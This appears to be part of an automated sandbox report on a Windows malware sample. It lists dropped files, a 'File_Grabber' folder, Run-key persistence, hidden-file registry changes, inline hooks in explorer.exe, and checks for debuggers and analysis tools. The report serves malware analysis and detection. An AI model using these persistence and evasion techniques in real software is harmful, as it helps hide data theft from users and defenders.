Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\python38.dll	Jump to dropped file
Source: C:\Windows\System32\svchost.exe	File created: C:\Users\user\AppData\Local\Temp\tmp1946.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\VCRUNTIME140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\52kYJGCon6.exe	File created: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\libffi-7.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\ucrtbase.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	File created: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file

Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File created: C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\miniwallet.bundle.js.LICENSE.txt			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\tmp1946.exe	File created: C:\Users\user\AppData\Local\A35B7AD252242051504221\File_Grabber\notification_fast.bundle.js.LICENSE.txt			Jump to behavior

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services			Jump to behavior
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Services			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Changes the view of files in windows explorer (hidden files and folders)

Source: C:\Windows\System32\svchost.exe

Key value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced Hidden

Jump to behavior

Found hidden mapped module (file has been removed from disk)

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\TH2200.TMP
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\TH4612.TMP
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Module Loaded: C:\USERS\user\APPDATA\LOCAL\TEMP\TH6581.TMP

Modifies the prolog of user mode functions (user mode inline hooks)

Source: explorer.exe

User mode code has changed: module: KERNEL32.DLL function: CreateProcessInternalW new code: 0xE9 0x90 0x00 0x07 0x75 0x5F

Source: C:\Windows\explorer.exe

Code function: 3_2_10A550E0 LoadLibraryA,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

3_2_10A550E0

Source: C:\Windows\System32\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\explorer.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_5-19630
Source: C:\Windows\System32\svchost.exe	Evasive API call chain: CreateMutex,DecisionNodes,Sleep	graph_5-19630
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_4-19608
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess	graph_0-19610

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: svchost.exe	Binary or memory string: PROCMON.EXE
Source: svchost.exe	Binary or memory string: PROCESSHACKER.EXE
Source: svchost.exe	Binary or memory string: X64DBG.EXE
Source: svchost.exe	Binary or memory string: AUTORUNS.EXE
Source: 8D8EBC2422383023011859.exe.0.dr	Binary or memory string: %SYSTEMROOT%\SYSTEM32\SVCHOST.EXENTDLL%SYSTEMROOT%\SYSTEM32\MSIEXEC.EXE.RELOC%SYSTEMROOT%\SYSTEM32\AUDIODG.EXENTUNMAPVIEWOFSECTIONRBNSPGESYB.X64PROCESSHACKER.EXEPROCEXP.EXEPROCEXP64.EXETOTALCMD.EXEX64DBG.EXEIDAQ64.EXEIDAQ.EXEAUTORUNS.EXEPROCMON.EXESERVICESSVCHOST.EXEGQGWZDGQGWZD%08LX%04LX%LU\%08LX%04LX%LU\\.EXE\.EXESOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\RUNSERVICESHIDDENSOFTWARE\MICROSOFT\WINDOWS\CURRENTVERSION\EXPLORER\ADVANCEDUNKNOWNEXPLORER.EXE
Source: svchost.exe	Binary or memory string: IDAQ.EXE

Source: C:\Windows\explorer.exe

Code function: 3_2_10A57E80 CreateToolhelp32Snapshot,Thread32First,GetCurrentProcessId,GetCurrentThreadId,HeapAlloc,HeapReAlloc,Thread32Next,CloseHandle,

3_2_10A57E80

Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 4015	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Window / User API: threadDelayed 4947	Jump to behavior
Source: C:\Windows\explorer.exe	Window / User API: threadDelayed 9462	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\_bz2.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-locale-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-handle-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\_ctypes.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-localization-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\_hashlib.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-synch-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\python38.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l1-2-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-math-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-timezone-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-rtlsupport-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-debug-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\libcrypto-1_1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-string-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-filesystem-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-memory-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-utility-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processenvironment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-stdio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-namedpipe-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\_socket.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-runtime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-environment-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-profile-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-convert-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-process-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processthreads-l1-1-1.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-conio-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l2-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-sysinfo-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-file-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-heap-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-synch-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-console-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-crt-time-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-util-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\unicodedata.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-errorhandling-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-libraryloader-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-processthreads-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\select.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-datetime-l1-1-0.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\_lzma.pyd	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\_MEI3442\api-ms-win-core-interlocked-l1-1-0.dll	Jump to dropped file

Source: C:\Windows\System32\svchost.exe	Evaded block: after key decision			graph_5-19135
Source: C:\Windows\System32\svchost.exe	Evaded block: after key decision

Source: C:\Windows\System32\svchost.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_5-20472
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_4-20459
Source: C:\Users\user\Desktop\52kYJGCon6.exe	Evasive API call chain: GetModuleFileName,DecisionNodes,ExitProcess	graph_0-20458

Source: C:\Users\user\Desktop\52kYJGCon6.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_0-19599
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_6-18005
Source: C:\Users\user\AppData\Roaming\8D8EBC2422383023011859\8D8EBC2422383023011859.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_4-19597
Source: C:\Windows\System32\svchost.exe	Check user administrative privileges: GetTokenInformation,DecisionNodes	graph_5-19619

Source: C:\Windows\System32\svchost.exe	API coverage: 5.4 %
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	API coverage: 1.7 %
Source: C:\Windows\System32\svchost.exe	API coverage: 5.4 %

Source: C:\Windows\System32\svchost.exe TID: 3372	Thread sleep count: 4015 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3372	Thread sleep time: -3814250s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2180	Thread sleep count: 311 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 2180	Thread sleep time: -15550000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4012	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4460	Thread sleep time: -60000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3372	Thread sleep count: 4947 > 30	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3372	Thread sleep time: -4699650s >= -30000s	Jump to behavior
Source: C:\Windows\explorer.exe TID: 1020	Thread sleep time: -94620000s >= -30000s	Jump to behavior

Source: C:\Windows\explorer.exe

Last function: Thread delayed

Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	6_2_00007FF7CA7979B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7985A0 FindFirstFileExW,FindClose,	6_2_00007FF7CA7985A0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 6_2_00007FF7CA7B0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	6_2_00007FF7CA7B0B84
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7985A0 FindFirstFileExW,FindClose,	9_2_00007FF7CA7985A0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7B0B84 _invalid_parameter_noinfo,FindFirstFileExW,FindNextFileW,FindClose,FindClose,	9_2_00007FF7CA7B0B84
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF7CA7979B0 FindFirstFileW,RemoveDirectoryW,DeleteFileW,FindNextFileW,FindClose,RemoveDirectoryW,	9_2_00007FF7CA7979B0
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B837303C FindFirstFileExW,FindNextFileW,FindClose,	9_2_00007FF8B837303C
Source: C:\Users\user\AppData\Local\Temp\tmp8AEF.exe	Code function: 9_2_00007FF8B8373280 FindFirstFileExW,FindNextFileW,FindClose,	9_2_00007FF8B8373280
